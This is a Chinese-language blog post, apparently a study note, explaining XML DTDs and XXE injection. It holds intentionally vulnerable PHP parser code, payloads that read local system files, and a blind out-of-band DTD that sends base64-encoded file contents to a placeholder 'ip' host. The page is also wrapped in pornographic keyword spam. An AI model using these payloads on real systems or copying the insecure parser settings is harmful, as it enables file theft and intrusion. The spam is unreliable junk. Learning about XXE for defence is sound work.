<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      XXE漏洞

      本文只是對XXE漏洞學習,參考多篇文章

      一、XML基礎

      ? XML 用于編輯電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據,是一種允許用戶的對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義、文檔元素。

      <?xml version="1.0" encoding="ISO-8859-1"?>    <!--xml聲明 定義xml版本1.0和所使用的編碼 ISO-8859-1-->
      <note>    <!--根元素-->    <!--之后為4個子元素(to,from,heading,body)-->
      <to>George</to>                
      <form>John</form>        
      <heading>Reminder</heading>
      <body>11111</body>
      </note>     <!--根元素結尾-->
      

      因為只為學習漏洞,不對xml進行詳細學習。

      http://www.w3school.com.cn/x.asp可以在此查看詳細內容

      而XXE漏洞相關的則為DTD

      DTD

      ? DTD 文檔類型定義,可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。
      ? DTD可以成行地聲明XML文檔中,也可以作為一個外部引用。
      1. 內部聲明DTD

      假如DTD 被包含在XML源文件中,應當通過下面的語法包裝在一個DOCTYPE聲明中

      <!DOCTYPE 根元素[元素聲明]>
      
      <?xml version="1.0"?>    <!--xml聲明 定義xml版本1.0-->
      <!DOCTYPE note[					<!--定義此文檔為note類型的文檔-->
       <!ELEMENT note (to,from,heading,body)> <!--定義note 元素有4個元素 “to、from、heading、body-->
       <!ELEMENT to    (#PCDATA)>     <!--定義to 元素為 “#PCDATA”類型 以下如此-->
       <!ELEMENT from  (#PCDATA)>
       <!ELEMENT heading (#PCDATA)>
       <!ELEMENT body (#PCDATA)>
      ]>
      <note>
      	<to>George</to>
      	<from>John</from>
      	<heading>Reminder</heading>
      	<body>1111</body>
      </note>
      
      

      2. 引用外部
      假如DTD 位于XML源文件外部,那么應該通過下面的語言被封裝在一個DOCTYOE定義中
      <!DOCTYPE> 根元素 SYSTEM “文件名”>
      與上 面內部聲明 xml文件差不多,但是擁有一個外部的DTD

      <?xml version="1.0"?>
      <!DOCTYPE note SYSTEM "note.dtd">
      <note>
      <to>George</to>
      <from>John</from>
      <heading>Reminder</heading>
      <body>Don't forget the meeting!</body>
      </note> 
      

      包含DTD的 note.dtd 文件

      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to (#PCDATA)>
      <!ELEMENT from (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body (#PCDATA)>
      

      3. 其中還有一種應用的格式為

      <!DOCTYPE 根元素 SYSTEM "DTD文件"[定義內容]>
      

      DTD -實體

      實體是用于定義引用普通文本或特殊字符的快捷方式的變量。實體引用是對(實體)的引用。(實體)可以在內部或者外部進行聲明

      1. 內部實體聲明

      <!ENTITY 實體名稱 “實體的值”>
      

      如:

      <!ENTITY writer "Bill Gates">
      <!ENTITY copyright "Copyright W3School.com.cn">
      <author>&writer;&copyright;</author>
      

      注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (??。

      2. 一個外部實體聲明

      <!ENTITY 實體名稱 SYSYTEM "URL">
      

      如:

      <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
      <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
      <author>&writer;&copyright;</author>
      

      XML實體分為 普通實體和參數實體 。上面介紹的為普通實體 使用場合則為XML文檔中

      二、XML外部實體注入(XML External Entity XEE)

      ? 當允許引用外部實體時候,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口等危害。

      有回顯讀取本地敏感文件

      普通實體引用外部實體

      服務器 xml.php

      <?php
      
          libxml_disable_entity_loader (false);
          $xmlfile = file_get_contents('php://input');
          $dom = new DOMDocument();
          $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
          $creds = simplexml_import_dom($dom);
          echo $creds;
      
      ?>
      
      

      payload

      <?xml version="1.0" encoding="utf-8"?> 
      <!DOCTYPE creds [  
      <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
      <creds>&goodies;</creds>
      

      參數實體引用外部實體

      <?xml version="1.0" encoding="utf-8"?> 
      <!DOCTYPE creds [  
      <!ENTITY  % a SYSTEM "192.168.11.57:8888/outdtd.dtd"> %a;]> 
      <creds>&xxe;</creds>
      
      <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
      

      無回顯讀取本地的敏感文件

      ? 可以看到在上面兩個實驗中,都是有顯示,而另外一種情況無回顯

      服務端 xml.php

      <?php
      
      libxml_disable_entity_loader (false);
      $xmlfile = file_get_contents('php://input');
      $dom = new DOMDocument();
      $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
      ?>
      

      1.dtd

      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
      <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
      

      Payload

      <!DOCTYPE convert [ 
      <!ENTITY % remote SYSTEM "http://ip/test.dtd">
      %remote;%int;%send;
      ]>
      

      利用

      在上面當中一直使用的為 file 協議 。在真實情況中應該清楚為什么平臺,能夠使用什么協議。

      三、總結

      可以看出 XXE 漏洞,知識點涉及較多內容。如 其它利用 危害 Dos拒絕服務、內網主機探測 、內網主機端口掃描。 由于內容較多 之后在一一更新補充。

      參考鏈接

      https://security.tencent.com/index.php/blog/msg/69

      https://xz.aliyun.com/t/3357#toc-0

      posted @ 2019-02-18 15:48  0x516A  閱讀(405)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产精品制服丝袜白丝| 国产精品一在线观看| 久久综合香蕉国产蜜臀av| 一道本AV免费不卡播放| 国产日产免费高清欧美一区| 久久国产免费观看精品3| 久久久久青草线蕉亚洲| 亚洲欧美综合人成在线| 人人入人人爱| 亚洲欧美自偷自拍视频图片| 美女内射毛片在线看免费人动物| 欧美老少配性行为| 国内免费视频成人精品| 亚洲 欧美 动漫 少妇 自拍| 国色天香成人一区二区 | 国产成人高清在线观看视频| 本道久久综合无码中文字幕| 40岁大乳的熟妇在线观看| 精品无码国产自产拍在线观看蜜 | 欧美一级黄色影院| 双城市| 国产高清乱码又大又圆| 久久精品国产一区二区三区| 亚洲AV无码专区亚洲AV紧身裤| 芜湖市| 日韩成人午夜精品久久高潮| 老司机免费的精品视频| 久久这里都是精品二| 亚洲男女羞羞无遮挡久久丫| 日本在线 | 中文| 国产亚洲精品第一综合另类| 国产高清在线不卡一区| 欧美刺激性大交| 精品无码成人片一区二区| 999精品全免费观看视频| 国产午夜精品久久精品电影| 日韩精品一卡二卡三卡在线| 色午夜久久男人操女人| 最近免费中文字幕大全| 亚洲精品成人一二三专区| 俺来也俺去啦最新在线|